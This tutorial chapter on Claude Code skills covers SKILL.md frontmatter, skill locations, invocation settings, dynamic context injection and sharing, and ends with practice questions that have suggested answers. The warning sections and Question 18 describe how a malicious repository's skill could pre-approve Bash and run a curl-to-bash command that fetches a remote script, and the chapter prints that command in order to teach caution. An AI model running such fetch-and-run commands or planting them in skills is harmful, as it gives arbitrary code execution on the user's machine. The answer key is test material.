56  56. Skills

A skill is a reusable set of instructions that Claude loads only when it needs them, or that you run like a command, for example /explain-code. Skills let you teach Claude a task once instead of explaining it again in every session.

56.1 What a skill is

As of Oct 6, 2026 · Official docs: Extend Claude with skills

A skill is a folder that contains a file named SKILL.md. The file has two parts:

• Frontmatter: a few settings between two --- lines at the very top, written in a simple format called YAML (key: value lines). The two important settings are the skill’s name and its description.
• Instructions: ordinary Markdown text that Claude follows when the skill runs.

The folder can also hold supporting files, such as longer reference documents, templates, or scripts.

A skill can start in two ways:

1. Claude decides. At the start of each session Claude sees the names and descriptions of the available skills. When your request matches a description, Claude loads that skill’s full instructions.
2. You decide. You type / followed by the skill’s name, like /explain-code.

Skills hold two kinds of content. Reference skills add knowledge Claude applies while it works (your team’s API style guide). Task skills give step-by-step instructions for one action (a release checklist). Either way, create a skill when you notice yourself pasting the same instructions into chat again and again. Unlike CLAUDE.md, a skill’s body loads only when it is used, so even long material costs almost nothing until you need it.

Two more facts:

• Skills follow an open standard called Agent Skills, so the same skill format works in other AI tools that adopt it. Claude Code adds some extra features on top.
• Older versions of Claude Code had custom commands: single files in .claude/commands/. These have been merged into skills. A file .claude/commands/deploy.md and a skill .claude/skills/deploy/SKILL.md both create /deploy. Old command files keep working, but new work should use skills.

56.2 Anatomy of a SKILL.md file

As of Oct 6, 2026 · Official docs: Skills: frontmatter reference

Here is a complete, working skill. It lives in a folder named explain-code:

---
name: explain-code
description: Explains code in plain English for someone new to programming. Use when the user asks what a file or piece of code does, or asks for a beginner-friendly explanation.
---

When explaining code:

1. Start with one sentence that says what the code does and why it exists.
2. Give an everyday analogy.
3. Walk through the code in small chunks, in plain English.
4. Define each technical term the first time you use it.
5. End with one mistake a beginner might make with this code.

Keep the explanation under 300 words unless the user asks for more.

What to notice:

• The opening --- must be the first line of the file. Otherwise Claude Code treats the whole file as instructions and ignores the settings.
• name becomes the command you type (/explain-code). Use lowercase letters, numbers, and hyphens, and make it match the folder name, as the Agent Skills specification requires. (If you leave name out, Claude Code uses the folder name.)
• description is the most important line. Claude reads it to decide when to use the skill, so say what the skill does and when to use it, with words people would naturally type.
• Setting names must be spelled exactly as documented. Claude Code silently ignores a setting it doesn’t recognize.

A skill with supporting files looks like this (keep SKILL.md itself under 500 lines and mention the other files in it, so Claude knows they exist):

my-skill/
├── SKILL.md          required: settings + instructions
├── reference.md      optional: details Claude reads only when needed
└── scripts/
    └── helper.py     optional: a script Claude can run

56.3 Where skills live

As of Oct 6, 2026 · Official docs: Skills: choose where skills load

Where you save a skill decides where it is available:

Kind	Location	Available in
Personal	~/.claude/skills/<skill-name>/SKILL.md	All your projects on this computer
Project	.claude/skills/<skill-name>/SKILL.md inside the project	That project; commit it so your teammates get it too
Plugin	Inside an installed plugin	Wherever the plugin is enabled, as /plugin-name:skill-name
claude.ai account	Skills turned on in your claude.ai settings	Synced into Claude Code when you sign in with that account

Organizations can also install skills for everyone. If two skills have the same name, an organization’s skill beats a personal one, and a personal skill beats a project one. Plugin skills never clash, because their names start with the plugin’s name.

Here is the full path of the personal skill from this page on each computer:

Mac

/Users/maria/.claude/skills/explain-code/SKILL.md

Windows (Git Bash)

/c/Users/sam/.claude/skills/explain-code/SKILL.md (Windows writes this as C:\Users\sam\.claude\skills\explain-code\SKILL.md)

56.4 Create your first skill

As of Oct 6, 2026 · Official docs: Skills: create your first skill

1. Make the folder for a personal skill:

   mkdir -p ~/.claude/skills/explain-code

2. Create SKILL.md. Open ~/.claude/skills/explain-code/SKILL.md in any plain-text editor (not a word processor), paste the example from above, and save. Or paste this whole block into the terminal, which writes the file for you (it uses a heredoc; see Writing to Files):

   cat > ~/.claude/skills/explain-code/SKILL.md << 'EOF'
   ---
   name: explain-code
   description: Explains code in plain English for someone new to programming. Use when the user asks what a file or piece of code does, or asks for a beginner-friendly explanation.
   ---
   
   When explaining code:
   
   1. Start with one sentence that says what the code does and why it exists.
   2. Give an everyday analogy.
   3. Walk through the code in small chunks, in plain English.
   4. Define each technical term the first time you use it.
   5. End with one mistake a beginner might make with this code.
   
   Keep the explanation under 300 words unless the user asks for more.
   EOF

3. Start Claude Code in a project, for example git-tutorial-project from Your First Repository (Git practice project):

   cd ~/Documents/git-tutorial-project
   claude

4. Check that the skill loaded. Type /skills. You should see explain-code in the list. Press Esc to close the list.

5. Test it both ways.

   • Let Claude choose it: type What does src/index.html do? Explain it for a beginner. The answer should follow the five steps in the skill.
   • Run it yourself: type /explain-code css/style.css. Text after the skill name is passed to the skill as its argument.

6. Improve it. Edit SKILL.md and try again. Claude Code notices changes to skill files during a session, so you don’t need to restart. (If the skills folder didn’t exist yet when the session started, run /reload-skills.)

If Claude doesn’t use the skill when you expect it to, put the words you actually type into the description, ask Claude What skills are available?, or simply run the skill with /explain-code.

56.5 Controlling who can run a skill

As of Oct 6, 2026 · Official docs: Skills: control who invokes a skill

By default, both you and Claude can start any skill. Two settings change that:

Frontmatter setting	You can run it	Claude can run it on its own	Description in Claude’s context
(neither, the default)	Yes	Yes	Yes
disable-model-invocation: true	Yes	No	No
user-invocable: false	No	Yes	Yes

• Use disable-model-invocation: true for skills with side effects, such as /deploy, /commit, or sending a message. As the docs put it, you don’t want Claude deciding to deploy because your code looks ready. Bonus: the description no longer uses context.
• Use user-invocable: false for background knowledge that isn’t a sensible command, such as notes on how an old system works. It is hidden from the / menu, but Claude can still load it.

56.6 Bundled skills and the /skills menu

As of Oct 6, 2026 · Official docs: Skills: bundled skills · Commands

Claude Code comes with bundled skills that work without any setup, for example:

Bundled skill	What it does
/code-review	Reviews your current changes (or a pull request) for bugs
/simplify	Looks for cleanup opportunities in changed code and applies them
/debug	Turns on debug logging and troubleshoots using the session’s log
/loop	Runs a prompt repeatedly while the session stays open
/batch	Splits a large change into pieces that run in parallel

Bundled skills are prompt-based: they hand Claude detailed instructions, while most built-in commands, such as /clear, run fixed program logic. A skill of your own with the same name as a built-in command or bundled skill replaces it, so choose names that don’t clash with commands you use.

/skills lists every skill available in the session. You can type to filter the list, press t to sort by how much context each skill uses, and press Space to change a skill’s visibility to Claude and in the / menu.

56.7 Sharing skills, and trusting other people’s skills

As of Oct 6, 2026 · Official docs: Skills: share skills · Skills: pre-approve tools

To share a skill with your team, commit the project’s .claude/skills/ folder to Git, or package skills in a plugin.

Skills written by other people deserve the same care as scripts from the internet, because a skill can do more than give advice:

• It can include scripts that Claude runs.
• It can contain shell commands that run automatically when the skill starts (see the deeper dive below), before Claude even reads the instructions.
• Its allowed-tools setting can pre-approve tools, so Claude can use them without asking you while the skill runs. The docs warn that this works even in a folder you haven’t trusted, so review the skills inside any repository you clone before you run Claude Code there.

Read the SKILL.md and any scripts before you install or use a skill, and prefer skills from sources you trust.

56.8 Example: Matt Pocock’s skill repository and /grill-me

Many developers publish their skills on GitHub for anyone to use. A popular example is Matt Pocock’s skill repository, “Skills for Real Engineers”: a collection of small skills he uses every day, grouped into folders such as engineering and productivity. Each skill is an ordinary folder with a SKILL.md, so you can read exactly what it does before you install it, as with any skill from someone else.

One of the best known is /grill-me. Instead of having Claude start writing code (or a plan) right away, it makes Claude interview you about your idea, in rounds of questions, until the idea is clear enough to commit to. You start it in a fresh conversation, then describe your idea:

/grill-me I want you to help me plan an app where students can swap used textbooks

Claude then asks questions such as: Who are the users? How do they pay? What happens if a book never arrives? Each round asks only questions whose prerequisites you have already answered. The skill writes no files; the result is a clearer idea in your own head (and in the conversation).

A few things to notice:

• Its SKILL.md sets disable-model-invocation: true, so Claude never starts it on its own: only you can, by typing /grill-me.
• You still own the decisions. Answering “agreed, agreed, agreed” to forty questions produces a plan that Claude wrote and you nodded at. Push back, say “I don’t know”, and steer.
• Some questions can’t be answered by talking (“how should this screen feel?”). For those, build a quick throwaway version and look at it.

The repository’s README shows how to install the skills (in Claude Code, as a plugin). Installing a skill collection is installing someone else’s code: read the skills first.

Deeper dive: Arguments and live data in a skill

As of Oct 6, 2026 · Official docs: Skills: pass arguments · Skills: inject dynamic context

This skill (saved as .claude/skills/commit-message/SKILL.md in a project) drafts a commit message for your staged Git changes:

---
name: commit-message
description: Drafts a commit message for the staged Git changes
disable-model-invocation: true
---

## Staged changes

!`git diff --staged`

## Your task

Write a commit message for the staged changes above:

- First line: a summary of at most 60 characters, starting with a verb such as "Add" or "Fix"
- Then a blank line and 2-3 bullet points explaining what changed and why

Extra context from the user (may be empty): $ARGUMENTS

If there are no staged changes, say so and stop.
Show the message only. Do not run git commit.

• The line !`git diff --staged` is dynamic context injection: Claude Code runs the command first and pastes its output into the instructions, so Claude sees your real changes. Claude Code checks such commands against your permission rules (read-only commands such as git diff pass). If the command fails, for example outside a Git repository, the skill doesn’t run.
• $ARGUMENTS is replaced by whatever you type after the name: /commit-message fixes the login bug. If a skill has no placeholder, Claude Code adds your text at the end as ARGUMENTS: .... $0, $1, … give individual arguments.
• disable-model-invocation: true means it runs only when you ask for it.

Deeper dive: More frontmatter settings

As of Oct 6, 2026 · Official docs: Skills: frontmatter reference

All settings are optional; only description is recommended. A few useful ones:

Setting	What it does
argument-hint	Hint shown while you type the command, e.g. [filename]
allowed-tools	Tools Claude may use without asking during the turn that runs the skill
model, effort	Use a different model or effort level while the skill is active
context: fork	Run the skill in a separate subagent instead of your conversation
paths	Only load the skill automatically when working with matching files, e.g. "**/*.sql"

Settings outside the Agent Skills standard (such as argument-hint) work in Claude Code but are rejected if you upload the skill to claude.ai, which accepts only name, description, license, compatibility, metadata, and allowed-tools.

Deeper dive: Skills in the Claude apps

As of Oct 6, 2026 · Official docs: What are skills? · Skills synced from claude.ai

Skills are not only a Claude Code feature. In the Claude apps, such as claude.ai, skills are available on the Free, Pro, Max, Team, and Enterprise plans, with code execution turned on. Anthropic provides skills for creating Excel, Word, PowerPoint, and PDF files, and you can upload your own (in claude.ai: Customize → Skills).

When you sign in to Claude Code with your claude.ai account, Claude Code downloads the skills enabled for that account into ~/.claude/skills/synced/ and keeps them up to date. /skills lists them under claude.ai sync. Features that only Claude Code supports, such as dynamic context injection, don’t work in claude.ai chat.

56.9 Key takeaways

• A skill is a folder with a SKILL.md: YAML frontmatter (name, description) plus Markdown instructions, and optional supporting files.
• Claude loads a skill when your request matches its description, or you run it with /name. Only the name and description cost context until it is used.
• Personal skills live in ~/.claude/skills/, project skills in .claude/skills/.
• Use disable-model-invocation: true for skills with side effects.
• Treat other people’s skills like code: read them before you use them.
• Skill collections such as Matt Pocock’s are shared on GitHub; his /grill-me makes Claude interview you about an idea before any code is written.

Practice Questions

Easy

Question 1 · Short answer

What file must every skill folder contain, and what are its two parts?

Suggested answer

SKILL.md. It has YAML frontmatter between two --- lines at the top (settings such as name and description), followed by Markdown instructions that Claude follows when the skill runs.

Question 2 · Multiple choice

Which frontmatter field does Claude use to decide when to load a skill on its own?

1. name
2. description
3. argument-hint
4. paths

Suggested answer

b. Claude matches your request against each skill’s description. The name (a) becomes the command you type, argument-hint (c) is only a hint shown while typing, and paths (d) limits automatic loading to certain files but doesn’t describe what the skill is for.

Question 3 · True or false

Like CLAUDE.md, the full instructions of every skill are loaded at the start of every session.

Suggested answer

False. Only each skill’s name and description are loaded at the start (and not even those for skills with disable-model-invocation: true). The full instructions load only when the skill is used.

Question 4 · Fill in the blank

A personal skill named meeting-notes is saved at ________/meeting-notes/SKILL.md; the same skill as a project skill is saved at ________/meeting-notes/SKILL.md inside the project.

Suggested answer

~/.claude/skills (personal) and .claude/skills (project).

Question 5 · Short answer

Name the two ways a skill can start.

Suggested answer

1. Claude starts it on its own when your request matches the skill’s description.
2. You start it yourself by typing / and the skill’s name, for example /explain-code.

Question 6 · True or false

Custom command files in .claude/commands/ stopped working when skills were introduced.

Suggested answer

False. Custom commands were merged into skills and keep working: .claude/commands/deploy.md and .claude/skills/deploy/SKILL.md both create /deploy. Skills are recommended for new work because they can include supporting files and more settings.

Medium

Question 7 · Write the command

Sam (Windows, Git Bash) wants a personal skill named meeting-notes. Write the command that creates its folder, and give the full Windows path of its SKILL.md.

Suggested answer

mkdir -p ~/.claude/skills/meeting-notes

The file is C:\Users\sam\.claude\skills\meeting-notes\SKILL.md (in Git Bash: /c/Users/sam/.claude/skills/meeting-notes/SKILL.md).

Question 8 · Find the bug

Maria’s skill never shows its description and Claude never uses it on its own. Here is the start of her SKILL.md. What is wrong?

My review skill
---
name: review-checklist
description: Reviews code against our team checklist. Use when the user asks for a review.
---

Suggested answer

The opening --- is not the first line of the file (the line “My review skill” comes first). Claude Code reads frontmatter only when --- is the very first line; otherwise it treats the whole file as instructions, so the name and description settings are ignored. Delete the first line.

Question 9 · Find the bug

This /deploy skill was supposed to run only when a person types /deploy, but Claude started it on its own. Why?

---
name: deploy
description: Deploy the application to production
disable_model_invocation: true
---

Suggested answer

The setting is misspelled: it must be disable-model-invocation (with hyphens). Claude Code silently ignores settings it doesn’t recognize, so the skill kept the default, which lets Claude start it.

Question 10 · Predict

The explain-code skill on this page contains no $ARGUMENTS placeholder. What happens to the text css/style.css when you type /explain-code css/style.css?

Suggested answer

Claude Code adds it to the end of the skill’s instructions as ARGUMENTS: css/style.css, so Claude still knows which file to explain. (If the skill contained $ARGUMENTS, the text would replace that placeholder instead.)

Question 11 · Multiple choice

You write a /send-weekly-email skill that sends an email to your whole team. Which frontmatter setting should it have?

1. user-invocable: false
2. disable-model-invocation: true
3. context: fork
4. No extra setting; the description is enough

Suggested answer

b. A skill with side effects should run only when you ask for it, and disable-model-invocation: true stops Claude from starting it on its own. Option a does the opposite (only Claude could start it). Option c runs it in a subagent but doesn’t control who starts it. Option d leaves Claude free to send the email whenever it thinks the request matches.

Question 12 · Scenario

A classmate’s skill has the description Helps with code. and Claude almost never uses it. Rewrite the description for a skill that turns error messages into step-by-step fixes, and explain what makes yours better.

Suggested answer

Example: Explains error messages and stack traces and gives step-by-step fixes. Use when the user pastes an error, a stack trace, or says something like "it crashed" or "why doesn't this work".

It says what the skill does and when to use it, using words people actually type (error, stack trace, crashed). “Helps with code” matches almost everything and nothing in particular, so Claude can’t tell when it applies.

Question 13 · Short answer

You edit a skill’s SKILL.md while a Claude Code session is running. Do you need to restart Claude Code to use the new version? Is there an exception?

Suggested answer

No. Claude Code watches the skill folders and picks up changes during the session. The exception: if you create a top-level skills folder that didn’t exist when the session started, run /reload-skills (or restart) so Claude Code finds it.

Question 14 · Predict

Maria has ~/.claude/skills/review/SKILL.md, and the project she opens also has .claude/skills/review/SKILL.md. Which one runs when she types /review?

Suggested answer

Her personal skill in ~/.claude/skills/. When skills share a name, personal skills take priority over project skills (and an organization’s skills over both).

Question 15 · Multiple choice

You type /grill-me I want you to help me plan a booking app for a hair salon. What does the grill-me skill make Claude do? a. Write the code for the app right away b. Interview you, in rounds of questions, until the idea is clear enough to commit to c. Criticize your existing code and list its bugs d. Search the web for similar apps

Suggested answer

b. /grill-me (from Matt Pocock’s skill repository) makes Claude ask you questions about your idea, round by round, before anything is built. It writes no code and no files; the result is a clearer idea.

Question 16 · Short answer

The grill-me skill’s frontmatter contains disable-model-invocation: true. What does that mean for how the skill is used, and why does it make sense for this skill?

Suggested answer

Claude will never start the skill on its own; it runs only when you type /grill-me. That makes sense because a long interview is something you choose to start when you have an idea to think through, not something Claude should spring on you in the middle of other work.

Hard

Question 17 · Compare

For each item, decide whether it belongs in CLAUDE.md or in a skill, and explain why: (a) “Use pnpm, not npm.” (b) A 150-line API style guide that matters only when writing API endpoints. (c) A release checklist you run by hand before each release.

Suggested answer

1. CLAUDE.md: a short rule Claude should always know, in every session.
2. Skill (reference content): it is long and needed only sometimes, so loading it on demand saves context. (c) Skill (task content) with disable-model-invocation: true: a workflow you trigger with /release when you decide.

Question 18 · Scenario

You clone a public repository. It contains .claude/skills/setup/SKILL.md with allowed-tools: Bash in its frontmatter and the line !`curl -s https://example.com/install.sh | bash` in its body. What could go wrong, and what should you do before running Claude Code in that folder?

Suggested answer

allowed-tools: Bash would let Claude run shell commands without asking you while the skill runs, and the ! line would make Claude Code download and run a script from the internet as soon as the skill starts. A malicious repository could use this to run any command on your computer with your permissions. The docs warn that allowed-tools applies even in a folder you haven’t trusted. Before running Claude Code there, read the repository’s .claude/ folder (skills, settings, hooks) and remove anything you don’t understand. To look around first without loading any of the repository’s customizations, you can start Claude Code with claude --safe-mode, which loads no skills, hooks, MCP servers, or plugins.

Question 19 · Compare

Compare disable-model-invocation: true and user-invocable: false. Which one removes the skill’s description from Claude’s context, and why does that matter?

Suggested answer

disable-model-invocation: true means only you can run the skill; its description is not in Claude’s context. user-invocable: false means only Claude can run it; it is hidden from the / menu, but its description stays in context so Claude knows when to use it. Removing the description saves context in every session, and it also guarantees that Claude cannot start a skill with side effects by itself.

Question 20 · Long answer

Design a skill named weekly-status that drafts a short status update for your team project from recent Git history. Write its frontmatter and an outline of its instructions, and justify your choice of who can run it.

Suggested answer

One good design:

---
name: weekly-status
description: Drafts a weekly status update from the last week of Git commits
disable-model-invocation: true
---

## Recent commits

!`git log --since="1 week ago" --oneline`

## Your task

Write a status update with three headings: Done, In progress, Blockers.
Use plain language for a non-technical reader and at most 150 words.

disable-model-invocation: true fits because you decide when a status update is needed; Claude shouldn’t produce one unprompted. A good answer has a valid frontmatter (first line ---, lowercase hyphenated name matching the folder, a clear description), concrete instructions, and a reason for the invocation choice. (The ! line is optional; it pulls in live data, and git log is a read-only command.)

Question 21 · Scenario

Sam has written 30 personal skills with long, overlapping descriptions. Claude now often picks the wrong one. Give three concrete fixes based on this page.

Suggested answer

Any three of:

• Rewrite descriptions to be short and specific, with the key use case first, so they don’t overlap.
• Add disable-model-invocation: true to skills he only runs by hand; their descriptions leave Claude’s context.
• Delete or turn off skills he doesn’t use (/skills shows them; press t to sort by context use).
• Merge near-duplicate skills into one.
• Run the right skill directly with /name when it matters.

Challenge

Question 22 · Hands-on

Create the explain-code skill from this page and test it both ways (let Claude choose it, and run /explain-code). Then change it so every explanation ends with one “check your understanding” question, and test again. Write down what changed in Claude’s answers.

Suggested answer

A complete answer shows: the folder ~/.claude/skills/explain-code/ with a valid SKILL.md; explain-code listed by /skills; one answer produced automatically (from a question such as “What does src/index.html do? Explain it for a beginner.”) and one produced by /explain-code; an extra instruction such as “6. End with one question that checks the reader’s understanding.”; and a note that the new question appears without restarting Claude Code (skill files are picked up during the session).

Question 23 · Hands-on

In a Git repository (for example the Git practice project), create the commit-message skill from the deeper dive as a project skill. Stage a change with git add and run /commit-message. Then try it twice more: once with nothing staged, and once from a folder that is not a Git repository. Explain each result.

Suggested answer

• The skill belongs at .claude/skills/commit-message/SKILL.md in the repository.
• With a staged change: Claude Code runs git diff --staged, puts the diff into the instructions, and Claude shows a proposed message (a short summary line, a blank line, 2-3 bullets) without committing.
• With nothing staged: the command succeeds but prints nothing, so Claude follows the instruction “If there are no staged changes, say so and stop.”
• Outside a Git repository: the project skill isn’t there at all, so /commit-message isn’t available. (Even if the skill were available there, for example as a personal skill, git diff --staged would fail, and a failing ! command stops the whole skill from running.)

Question 24 · Hands-on

Find a request you have typed to Claude (or another AI) at least three times this semester. Turn it into a skill. Decide: personal or project? Who should be able to run it? Then test it in a fresh session (/clear) by typing a natural request without naming the skill. Did Claude pick it up? If not, improve the description and try again.

Suggested answer

A good submission includes the SKILL.md; a reason for its location (project if teammates need it and it belongs to that project, personal if it’s your own habit across projects); a reason for its invocation setting (disable-model-invocation: true if it has side effects or should run only on request); the natural-language request used for testing; and, if Claude didn’t pick it up at first, the before-and-after descriptions showing how adding the words people actually type fixed it.